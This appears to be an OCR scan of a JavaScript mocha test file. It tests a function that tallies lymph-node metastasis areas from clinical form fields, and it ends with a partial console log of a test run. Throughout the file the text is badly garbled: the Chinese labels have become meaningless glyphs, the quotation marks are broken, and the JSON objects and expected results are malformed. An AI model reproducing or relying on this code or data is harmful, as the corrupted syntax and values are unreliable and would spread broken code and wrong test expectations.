Ib X@""Z @&k X ®"],"Numberinx":[1,1,1,2,2,2,3]},"R":{"NumberArea":[],"Numberinx":[]}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
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ok
it('4 % LN 277 Jk 4 -Case16',function()
{
1175l (-]

I E B (Y1)- B (Y1)-7T _EHE(Y2)-2a X (Y1)-4 K (Y1<Y2=Y2)-1b X (Y2)-/ & (Y3)

vardata={"PK":"","TSFK":"","ThroatBeforeArea":"","SternumTopArea":"","LeftAreaTop":"","LeftArea
Middle":"","LeftAreaUnder":"","RightAreaTop":"3/4","RightAreaMiddle":"4/5","RightUnderOneTwo":"" "
RightUnderOneThree™:"","LTwoAArea™:"","LTwoBArea":"","LThreeArea™:"","LFourArea":"","LFiveAArea
" MLFiveBArea™:"","LMuscleArea":"","RTwoAArea":"10/11""RTwoBArea":"","RThreeArea":"","RFourA
rea":"13/14","RFiveAArea":"","RFiveBArea":"","RMuscleArea":"","MetTumorMemo":"","Created Time":"/
Date(1477624861662)/","Createdld™:"30048","Updated Time":"/Date(1477624861662)/","Updatedld™:"3004
8" "LMediastinalArea":"","LOnebArea":"","LParapharyngeal Area":"","L\einholeArea™:"","RMediastinal Are
a":"17/18","ROnebArea":"18/19","RParapharyngeal Area":"","RVeinholeArea™:"20/21"};

varmainside=";

expect_result=JSON.stringify({"NumberAreaList":{"*% #[ I X ":0," i & £ & T X".0,"Z 7 L F"0,"
Fo B0, A T B0, A Na X0, A b K0, A N IX 0, A IV R0, A AILJE] X :0," & Va [X™:0,"
Z Vb R™0,"Af EHAE K0, A Ib [X™0," A H % X™0," & FUK X0, F 4 LB, E AR B E
TEAF 1-2 F™0," B 7 T &AM 1-3 £:0,"& HNa X™1,"A Hb X™0,"#& 11 K™0,"& IV K":2," A AL X™0,"
F# Va X"0,"%4 Vb X"0," A EWEX"2,"%A Ib X"2," A [X"0,"H K X
":3},"L":{"NumberArea":[],"Numberinx":[]},"R":{"NumberArea™:["#& # L B O@""& H+ EO""# lla X
OQ""AEIVEQ""AH LAREXO""F Ib RO","A BUK X ®"],"Numberinx:[1,1,1,2,2,2,3]}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
b

it('4 %% LN 277 Jk 4 -Casel17",function()
{

I (B2
I1E £ & (YL)-7T LA (Y2)-2a K (Y1)-4 K (Y2=Y2=Y2)-H & (Y4)

vardata={"Pk":"","TSFK":"","ThroatBeforeArea":"","SternumTopArea":"2/3","LeftAreaTop":"","LeftA
reaMiddle™:"","LeftAreaUnder":"","RightAreaTop":"","RightAreaMiddle":"","RightUnderOneTwo":"","Righ
tUnderOneThree":"","LTwoAArea™:"10/11","LTwoBArea":"","LThreeArea":"","LFourArea™:"13/14" ,"LFive
AArea™:"" "LFiveBArea":"","LMuscleArea":"","RTwoAArea™:"","RTwoBArea":"","RThreeArea":"","RFour
Area":"""RFiveAArea™:"" "RFiveBArea":"","RMuscleArea":"","MetTumorMemo™":"","Created Time":"/Date
(1477624861662)/","Createdld":"30048","Updated Time":"/Date(1477624861662)/","Updatedld™:"30048","L
MediastinalArea":"17/18","LOnebArea":"","LParapharyngeal Area":"","LVeinholeArea™":"20/21","RMediasti
nalArea™:"" ,"ROnebArea":"","RParapharyngeal Area":"","RVeinholeArea":""'};

varmainside=";

expect_result=JSON.stringify({"NumberAreaList":{""* 7] T X ":3333," i & £ & T X™1," & # L&
"0, A v B0, A v R B0, A la XL, b X0, A N K0, A IV K2, A LE K0, A Va
X™0,"Z Vb X"0," A’ EH MR X "2, & b X™0,"Z H 5 X "0,"Z UK X "4," 4 14 E B0, 4 i+ Bt
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AL X™0,"A Va X™:0,"& Vb X"0,"& ’l L4 X "0,"% Ib X"0," & "H 5 X ":0,"%& il Jk X
":0},"L":{"NumberArea™:["Z lla R@""£ IV KQ""A# LY RXO"" k£ &KX @
"1,"Numberinx™:[1,2,2,4]},"R":{"NumberArea":[],"Numberinx":[1}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
ok

it('4 % LN 277 Jk 4 -Case18',function()

{

1176 (2 )

B & £ & (Y1)-3T LAR(Y2)-2a K (Y1)-4 X (Y2=Y2=Y2)-i J& (Y4)

vardata={"Pk":"","TSFK":"","ThroatBeforeArea":"","SternumTopArea":"2/3","LeftAreaTop":"","LeftA
reaMiddle™:"","LeftAreaUnder":"","RightAreaTop":"","RightAreaMiddle™:"","RightUnderOneTwo™:"","Righ
tUnderOneThree™:"","LTwoAArea™:"","LTwoBArea":"","LThreeArea™:"" ,"LFourArea™:"","LFiveAArea":"" "
LFiveBArea™:"","LMuscleArea™:"","RTwoAArea":"10/11","RTwoBArea":"","RThreeArea":"","RFourArea":
"13/14" "RFiveAArea":"","RFiveBArea"™:"","RMuscleArea":"","MetTumorMemo":"","Created Time":"/Date(
1477624861662)/","Createdld™:"30048","Updated Time":"/Date(1477624861662)/","Updatedld™:"30048","L
MediastinalArea™:"","LOnebArea":"","LParapharyngeal Area":"","LVeinholeArea":"","RMediastinal Area":"1
7/18""ROnebArea™:"","RParapharyngeal Area™:"","RVeinholeArea'":"20/21"};

varmainside=";

expect_result=JSON.stringify({"NumberAreaList":{"*% #[ I X ":0," g & £ & T X ":1,"Z& 7 L F"0,"
ZE B0, A W T B0, A Ha R0, A b X0, A 11X ™0," A& IV [X™:0," & AlL[A] [K™:0," A& Va [X™:0,"
Z Vb X"0," A f EYRIX "0, 4 Ib K™:0,"Z "H & X ":0," £ UK X ":0," % 74 LB 0,4 ¥ o B0, i
TEAF 1-2 F™0," A 7 T B 1-3 £:0,"& HNa X™1,"A b X™0,"#& 11 K™0," & IV K":2," A AL X™0,"
% Va X™0,"& Vb R"™0," &/ LMK "2, % b K™0,"#& " % X"0,"%& flJ&k X
"4},"L":{"NumberArea™[],"NumberInx":[1},"R":{"NumberArea™:["4 lla K ®"" & IV X Q""" & # L&
X @" "4 /& X @"],"Numberlnx™:[1,2,2,4]}}):

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
b

it('4 % LN 27 Jk £ -Casel19', function()

{

I (340

11 3T T2 X (Y1)-3T _E R (Y2)

vardata={"Pk":"","TSFK":"","ThroatBeforeArea":"1/2","SternumTopArea":"","LeftAreaTop":"","LeftA
reaMiddle":"","LeftAreaUnder":"","RightAreaTop™:"","RightAreaMiddle™:"","RightUnderOneTwo":"","Righ
tUnderOneThree™:"","LTwoAArea":"" "LTwoBArea™:"","LThreeArea™:"","LFourArea:"","LFiveAArea:"" "
LFiveBArea™:"","LMuscleArea™:"","RTwoAArea™:"","RTwoBArea":"","RThreeArea":"","RFourArea™:"","R
FiveAArea™:"" "RFiveBArea":"","RMuscleArea™:"","MetTumorMemo":"","Created Time":"/Date(14 7762486
1662)/","Createdld":"30048","UpdatedTime":"/Date(1477624861662)/","Updatedld":"30048","LMediastinal

Area™:"17/18","LOnebArea™:"" "LParapharyngeal Area™:"","LVeinholeArea™:"","RMediastinal Area":"","ROn
ebAreall:IIII,IlRParapharyngealArea":IIII’llRVeinholeAreall:llll};
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varmainside=";

expect_result=JSON.stringify({"NumberAreaList":{"*% #[ I X ":1," 9 & £ & T X".0,"Z 7 L F"0,"
JE Vg B0, A T B0, A Ha X0, A b [X:0," & 1 X ™0, & IV X™:0," Z& AL X0, £ Va X":0,"
Z Vb X0, 7y EYME X2, 4 I X™0," A& W % X™0," 2 K X ™:0,"4& 74 £ Bt™0," 4 i o B0, 1
TBAF 1-2 F™0," & T BAfR 1-3 A ™0,"4 lla X0, Ilb [X™:0,"& I X™0,"%& IV X"0,"%& L} X"0,"
# Va X"0,"%& Vb X"0," A B L WG X"0,"% Ib X"0," A % X"0,"H & X
":0},"L":{"NumberArea":["Z # L\ Jg X @
"1,"Numberinx":[2]},"R":{"NumberArea":[],"Numberinx":[1}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);

ok

it('4 % LN 277 Jk 4 -Case20",function()
{

1176 (22 )

11 3T 2 R (Y1)-71 £ (Y2)

vardata={"Pk":"","TSFK":"","ThroatBeforeArea":"1/2","SternumTopArea":"","LeftAreaTop":"","LeftA
reaMiddle™;"","LeftAreaUnder":"","RightAreaTop":"","RightAreaMiddle™:"","RightUnderOneTwo™:"","Righ
tUnderOneThree™:"","LTwoAArea™:"","LTwoBArea":"","LThreeArea™:"","LFourArea™:"","LFiveAArea":"" "
LFiveBArea":"","LMuscleArea™:"","RTwoAArea":"","RTwoBArea™:"","RThreeArea":"","RFourArea™:"","R
FiveAArea™:"™ "RFiveBArea™:"" "RMuscleArea":"","MetTumorMemo™":"","Created Time":"/Date (147762486
1662)/","Createdld":"30048","UpdatedTime":"/Date(1477624861662)/","Updatedld":"30048","LMediastinal
Area":"""LOnebArea":"","LParapharyngeal Area™:"","LVeinholeArea":"","RMediastinal Area":"17/18","ROn
ebArea™:"","RParapharyngeal Area":"","RVeinholeArea":""};

varmainside=";

expect_result=JSON.stringify({"NumberAreaList":{"*% [ I X ":1," 9 & £ & T X":0,"Z # kL £"0,"
227 B0, A Y B0, A Hla [K0," 22 b [X:0," Z& 11 [X™:0," 22 IV [X"™:0," Z JIl.[a] X ":0," % Va X":0,"
Z Vb X"0," A f EYRIX "0, Ib K™:0,"Z f & X ":0," £ UK X ":0," % 74 LB "0, % ¥ o B0, i
TEAF 1-2 F™0,"H 7 T &AM 1-3 £:0,"& Ha X™:0,"4& Hb X™0,"#& 111 X™:0,"#& IV X"0,"& AL X™0,"
% Va X™0,"& Vb R™0," &/ LA mKX "2, % b K™0,"#&H 5% X"0,"%& FlJ&k X
":0},"L":{"NumberArea":[],"NumberInx":[]},"R":{"NumberArea":[" 4 #] L 4 g X @
"1,"Numberinx":[2]}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
b;

it('4 %% LN 277 Jk 4 -Case21',function()

{

1172 M ()

I L FR(Y2)

vardata={"Pk":"","TSFK":"" ,"ThroatBeforeArea":"","SternumTopArea":"","LeftAreaTop":"","LeftArea
Middle™:" "LeftAreaUnder":"","RightAreaTop":"","RightAreaMiddle™:"","RightUnderOneTwo":"","RightU
nderOneThree":"","LTwoAArea™:"","LTwoBArea":"","LThreeArea":"","LFourArea™:"","LFiveAArea":"","L
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FiveBArea":"","LMuscleArea™:"","RTwoAArea":"","RTwoBArea":"","RThreeArea":"","RFourArea":"","RFi
veAArea™:"""RFiveBArea™:"","RMuscleArea":"","MetTumorMemao":"","Created Time":"/Date(1477624861
662)/","Createdld":"30048","Updated Time":"/Date(1477624861662)/","Updatedld":"30048","LMediastinal
Area™:"17/18","LOnebArea™:"","LParapharyngeal Area":"","LVeinholeArea™:"","RMediastinal Area":"","ROn
ebArea™:"","RParapharyngeal Area":"","RVeinholeArea":""};

varmainside=";

expect_result=JSON.stringify({"NumberAreaList":{"*% #[ I X ":0," i & £ & T X".0,"Z 7 L F"0,"
e R B0, A2 v N B0, A Na X0, A b X0, A 11 [X™:0,"Z& IV X":0," Z A& [X":0," % Va [X":0,"
Z Vb X0, 7y EYME X "L, A I X™0," A& W % X™0," A AU X ™:0,"4& 74 £ BL™0," 4 i o B0,
T AR 1-2 F0," 4 7 T Bt 1-3 A0, Hla [X"0,"% 1b X"™:0,"A 11 X":0,"& IV X"™0,"%& ALE X":0,"
# Va X"0,"%& Vb X"0,"A B EWJEX"0,"% Ib X"0," A % [X"0,"H & X
":0},"L":{"NumberArea":["Z #] L\ g X ©
"1,"Numberinx":[1]},"R":{"NumberArea":[],"Numberinx":[1}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);

b

it('4 % LN 277 Jk 4 -Case22', function()

{

117l ()

I1H7 £ H&(Y2)

vardata={"Pk":"","TSFK":"","ThroatBeforeArea":"","SternumTopArea":"","LeftAreaTop":"","LeftArea
Middle™:"™,"LeftAreaUnder":"","RightAreaTop":"","RightAreaMiddle™:"","RightUnderOneTwo":"","RightU
nderOneThree":"","LTwoAArea™:"","LTwoBArea":"","LThreeArea":"","LFourArea™:"","LFiveAArea":"","L
FiveBArea™:"","LMuscleArea™:"","RTwoAArea":"" "RTwoBArea":"","RThreeArea™:"","RFourArea":"","RFi
veAArea™:"" "RFiveBArea":"","RMuscleArea™:"","MetTumorMemo":"","Created Time":"/Date(1477624861
662)/","Createdld™:"30048","Updated Time":"/Date(1477624861662)/","Updatedld":"30048","LMediastinal

Area":"""LOnebArea™:"","LParapharyngeal Area":"","LVeinholeArea":"","RMediastinal Area":"17/18","ROn
ebArea":"","RParapharyngealArea":""’"RVeinhOIeArea'l:ll"};

varmainside=";

expect_result=JSON.stringify({"NumberAreaList":{"*% #[ I X ":0," 9 & £ & T X".0,"Z 7 L F"0,"
227 B0, A Y B0, A Hla X 0," 22 b [X:0," Z& 11 [X™:0," 2 IV [X"™:0," Z /Il [a] X ":0," % Va X":0,"

Z Vb X"0," AR EAMEX™0," % Ib [X"0," A" % X"0," 2 F& X ":0," 4 #) L B0, 4 i # B"0," 4 74
TEA1-2 ™m0 AW T BAR 1-3 £0,"A Ha [X™:0,"4A b [X™:0,"4& 111 [X™:0,"4& IV X":0,"#& ALE X":0,"
% Va X™0,"& Vb X™0," A7 LA fEX"1,"%& Ib X™0," A" % X"™0," A UK X

":0},"L":{"NumberArea":[],"NumberInx":[]},"R":{"NumberArea":[" % # L 4 g X @
"1,"Numberinx":[1]}});

expect(JSON.stringify(GetTransferLNSpread(mainside,data))).to.be.equal(expect_result);
b;
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#FA17E DOS % & B $.4T mocha MK S 89 46 3t 42 k& TR

C:\sers\IP-286>mocha D:\Ji B EH W igMochaizClinical\test

BN T
;LN;{ ﬂﬁéE—CaseEi
ﬁLNﬁ{ k4 -Casen2
ﬁLNﬁ{ k4 -Casen3
ﬁLNﬁ{ k4 —~Casens
ﬁLNﬁ{ k4 -Caseds
ﬁLNﬁ{ k4 -Caseds
ﬁLNﬁ{ k4 —~Casen?
ﬁLNﬁ{ k4 -Casens
ﬁLNﬁ{ k4 -Casen?
ﬁLNﬁ{ k4 ~Case1d
ﬁLNﬁ{ k4 -Casell
ﬁLNﬁ{ k4 -Case12
ﬁLNﬁ{ k4 -Casel3
ﬁLNﬁ{ k4 —~Case14
ﬁLNﬁ{ 4 -Casels
ZLNT i -Caselb

ZLNST TR —Casel8
fLN% 4 -Casel?
2

ZLN 4 -Case20
;Lnﬂl 4 -Case21

C3ims>»

1> BFELNGTRIRE BELNG ThiE -Casel?:
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